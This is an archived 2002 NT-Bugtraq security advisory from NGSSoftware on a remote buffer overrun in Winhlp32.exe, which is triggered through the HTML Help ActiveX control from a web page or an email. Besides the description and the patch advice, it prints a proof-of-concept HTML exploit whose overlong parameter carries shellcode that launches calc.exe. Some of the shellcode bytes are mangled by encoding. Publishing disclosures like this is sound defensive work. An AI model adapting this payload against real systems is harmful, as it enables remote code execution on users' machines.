

# Winhlp32.exe Remote BufferOverrun

**Source:** <http://www.derkeiler.com/Mailing-Lists/NT-Bugtraq/2002-08/0004.html>

---

**From:** Next Generation Insight Security Research Team ([mark@NGSSOFTWARE.COM](mailto:mark@NGSSOFTWARE.COM))

**Date:** 08/02/02

Date: Thu, 1 Aug 2002 19:41:08 -0700  
From: Next Generation Insight Security Research Team <[mark@NGSSOFTWARE.COM](mailto:mark@NGSSOFTWARE.COM)>  
To: [NTBUGTRAO@LISTSERV.NTBUGTRAO.COM](mailto:NTBUGTRAO@LISTSERV.NTBUGTRAO.COM)

NGSSoftware Insight Security Research Advisory

Name: Winhlp32.exe Remote BufferOverrun

Systems Affected: Win2K Platform

Severity: Critical

Category: Remote Buffer Overrun

Vendor URL: <http://www.microsoft.com>

Author: Mark Litchfield ([mark@ngssoftware.com](mailto:mark@ngssoftware.com))

Date: 1st August 2002

Advisory number: #NISR01082002

## Description

\*\*\*\*\*

Many of the features available in HTML Help are implemented through the HTML Help ActiveX control (HHCtrl.ocx). The HTML Help ActiveX control is used to provide navigation features (such as a table of contents), to display secondary windows and pop-up definitions, and to provide other features. The HTML Help ActiveX control can be used from topics in a compiled Help system as well as from HTML pages displayed in a Web browser. The functionality provided by the HTML Help ActiveX control will run in the HTML Help Viewer or in any browser that supports ActiveX technology, such as Internet Explorer (version 3.01 or later). Some features, as with the WinHlp Command, provided by the HTML Help ActiveX control are meant to be available only when it is used from a compiled HTML Help file (.chm) that is displayed by using the HTML Help Viewer.

## Details

\*\*\*\*\*

Winhlp32.exe is vulnerable to a bufferoverflow attack using the Item parameter within WinHlp Command, the item parameter is used to specify the file path of the WinHelp (.hlp) file in which the WinHelp topic is stored, and the window name of the target window. Using this overrun, an attacker can successfully execute arbitrary code on a remote system by either encouraging the victim to visit a particular web page, whereby code would

## NT-Bugtraq: Winhlp32.exe Remote BufferOverrun

execute automatically, or by including the exploit within the source of an email. In regards to email, execution would automatically occur when the mail appears in the preview pane and ActiveX objects are allowed (This is allowed by default, the Internet Security Settings would have to be set as HIGH to prevent execution of this vulnerability). Any exploit would execute in the context of the logged on user.

### Visual POC Exploit

\*\*\*\*\*

```
<OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
type=application/x-oleobject width=0><PARAM NAME="Width" VALUE="26"><PARAM
NAME="Height" VALUE="26"><PARAM NAME="Command" VALUE="WinHelp"><PARAM
NAME="Item1"
VALUE="      3ÀPhcalc 4$&#402;À&#1;PV, ¯$éwÿĐ3ÀP¾&#8221; éwÿÖAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ABBBBCCCCDDDDDEEEFFFGGGGHHHHIIIIJJJKKKLLLLMMMMNNNNOOOOPPPPQQQRRRRSSST
AAAA&#11;©õwABCDEFGH &#402;Æ&#21;ÿægMyWindow"><PARAM NAME="Item2"
VALUE="NGS
Software LTD"></OBJECT>
<SCRIPT>winhelp.HHClick()</SCRIPT>
```

### Fix Information

\*\*\*\*\*

NGSSoftware alerted Microsoft to these problems on the 6th March 2002. NGSSoftware highly recommend installing Microsoft Windows SP3, as the fix has been built into this service pack found at <http://www.microsoft.com>. An alternative to these patches would be to ensure the security settings found in the Internet Options is set to high. Despite the Medium setting, stating that unsigned ActiveX controls will not be downloaded, Kylie will still execute Calc.exe. Another alternative would be to remove winhlp32.exe if it is not required within your environment. A check for these issues has been added to Typhon II, of which more information is available from the NGSSoftware website, <http://www.ngssoftware.com>.

### Further Information

\*\*\*\*\*

For further information about the scope and effects of buffer overflows, please see

<http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf>  
<http://www.ngssoftware.com/papers/ntbufferoverflow.html>  
<http://www.ngssoftware.com/papers/bufferoverflowpaper.rtf>  
<http://www.ngssoftware.com/papers/unicodebo.pdf>

---

- *Previous message:* [Grzegorz Tworek: "Bug fixed in SP3"](#)

NT-Bugtraq: Winhlp32.exe Remote BufferOverrun

- *Messages sorted by:* [ date ] [ thread ] [ subject ] [ author ] [ attachment ]